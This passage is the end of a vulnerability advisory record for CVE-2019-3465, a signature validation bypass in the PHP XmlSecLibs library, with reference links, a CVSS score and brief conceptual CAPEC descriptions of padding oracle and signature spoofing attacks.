      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AB34ILMJ67CUROBOR6YPKB46VHXLOAJ4"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7KID7C4AZPYYIZQIPSLANP4R2RQR6YK3"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/11/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/robrichards/xmlseclibs/CVE-2019-3465.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signature validation bypass in XmlSecLibs"
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.